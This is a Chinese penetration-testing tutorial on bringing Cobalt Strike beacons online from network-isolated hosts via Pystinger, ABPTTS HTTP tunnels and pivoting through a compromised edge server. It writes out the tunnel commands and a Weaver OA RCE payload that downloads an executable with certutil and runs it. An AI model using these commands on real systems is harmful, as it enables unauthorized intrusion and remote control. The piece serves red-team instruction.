Cs在不出网环境中上线
适用环境
在渗透的测试中,经常遇到有些目标只对外开放了http服务,由于路由设置或防火墙等原因,导致攻击者在拿下webshell后却不能通过反弹shell正常上线到攻击者的C2服务器上无法继续进一步对内网进行测试或者提权,在这种情况下,就需要通过一些姿势来达到上线到C2服务器的目的。
测试目标出网情况
机器有dns、icmp、tcp、http等可出网的通信协议,因此要测试出目标可以通过哪种协议对外通信,结合起来对目标综合测试。当确定目标多种通信方式都不可支持,只能思考是否能通过http端口来实现上线的目的。
利用Pystinger 上线不出网主机
Pystinger
毒刺(pystinger)通过webshell实现内网SOCK4代理,端口映射.
可直接用于metasploit-framework,viper,cobalt strike上线.
主体使用python开发,当前支持php,jsp(x),aspx三种代理脚本.
具体思路可参考文章红队攻防实践:不出网主机搭建内网隧道新思路
项目地址:https://github.com/FunnyWolf/pystinger
具体使用
目标机器http服务上运行着tp框架,通过报错得到了具体版本为V5.0.22
经过测试存在tp5命令执行,写入webshell
通过测试,目标不出网,也只开放了80端口允许流量进入,由于通信限制,我们即选择使用pystinger来达到上线到c2的目的。
工具内主要有server服务端、client客户端与webshell脚本文件三部分组成。
将php脚本文件和stinger_server.exe上传到目标机器中。
访问proxy.php,访问出现UTF-8则表示脚本正常,如果报错可能是上传时传输出现问题,可以使用蚁剑编辑保存再尝试访问。
然后在目标上运行工具服务端
stinger_server.exe 0.0.0.0
在C2服务器上运行工具客户端,-w参数为目标url,-l参数为自身ip,一般为127.0.0.1,-p参数为目标webshell流量转发到C2的端口号
.\stinger_client.exe -w http://192.168.93.216/proxy.php -l 127.0.0.1 -p 60000
./stinger_client -w http://192.168.93.216/proxy.php -l 127.0.0.1 -p 60000
C2服务器新建HTTP监听,host为127.0.0.1,port为默认的60020。如果要上线内网多台主机则将hosts设置为不出网的内网ip即可。
通过该监听生成反弹shell,在目标机器上运行,这时查看cs,发现成功上线,查看client可以看到服务端传递流量的一个情况,该机器提权也可以使用该监听回弹shell。
通过正向连接上线cs
ABPTTS建立HTTP隧道
目标存在Weblogic服务,测试发现存在反序列化漏洞,写入webshell
目标不出网且仅有7001端口能够与服务器通信,这里选择使用http隧道工具,如Neo-reGeorg、reGeorg,但是这里并不适用,因为cs上线要将beacon经过这条http隧道再去正向连接目标端口,但是Neo-reGeorg、reGeorg为并不能实现端口对端口的映射,由此并不能满足这里的条件。
因此这里选择ABPTTS,虽然它有全加密对抗检测和稳定的优点,但是我们主要是因为其具有端口对端口映射的功能而选择这款工具,不过该工具只支持aspx与jsp两种脚本文件。
访问得到一串密文,说明脚本文件正常运行
客户端适用命令,将本机的5555端口通过http隧道映射至6666端口
Python2 abpttsclient.py -c server/config.txt -u "http://192.168.93.186:7001/wls-wsat/ABPTTS.jsp" -f 127.0.0.1:5555/127.0.0.1:6666
通过HTTP隧道正向连接
Cs新建bind监听,监听端口为6666
通过该监听生成正向载荷(在生成正向载荷的时候只能选择stageless Beacon )
上传到目标服务器上执行,返回Cs本机shell(本机shell就是让本机自己上Cshhhhh~),在本机shell上执行connect 127.0.0.1 5555,这时目标已经上线。
Cs利用跳板上线不出网主机
当我们取得边界机器权限后却发现内网机器不出网,这时可以利用已经得到权限的机器作为跳板通过bind的方式去拿下内网主机。
方法多种多样,这里列举一种较为简单的方法。
这里我们已经获取到外网边界主机的权限,其内网ip为192.168.1.118,经探测发现192.168.1.123为泛微oa,其存在rce。
首先在cs中生成一个bind型的监听
再通过该监听生成stageless型的马,cs中bind型监听只能stageless型马,stager+payload全写死在木马中,相比较于Stager型体积更大,特征码更明显。
注:stager 其实是一段很简单的加载器。应该是 socketedi 协议请求一段 shellcode,加载到内存里,功能单一,这个地方可能没考虑到中间代理的问题。 stager 就做了一件事情,就是请求一个 IP 端口,然后控制端发送一段数据,前4个字节是 shellcode 长度,后面是 shellcode,然后收到数据后,跳转到 shellcode 开始运行。而 stageless 会把几个分阶段的 shellcode 以及 Reflect 的 dll 合并到一个文件里(反射型dll加载)。参考链接
将生成的bind马放到边界服务器192.168.1.118的web目录下,内网可正常访问且下载即可
泛微oa rce的利用,路径 /weaver/bsh.servlet.BshServlet
exec("cmd /c certutil -urlcache -split -f http://192.168.1.118/123.exe")
exec("cmd /c 123.exe")
目标成功执行之后,返回到192.168.1.118的shell中
connect 192.168.1.123 7777
发现目标带着链接符号成功上线到cs中